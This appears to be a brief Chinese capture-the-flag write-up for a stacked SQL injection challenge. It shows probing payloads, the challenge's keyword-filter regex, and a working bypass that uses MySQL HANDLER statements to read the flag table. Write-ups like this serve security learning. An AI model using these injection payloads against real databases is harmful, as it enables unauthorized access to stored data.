思路
很显然是sql注入,打开页面后回显
1 | array(2) { |
用一些常用的命令看看
1 | 1';show databases;%23 |
得到两个有用的信息:
flag在FlagHere内
过滤了以下关键字
1
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
但是没有过滤handler
因此这里可以这样堆叠注入
1 | 1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;%23 |
handler
1 | HANDLER ... OPEN语句打开一个表,使其后续可以使用HANDLER ... READ语句访问。该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭 |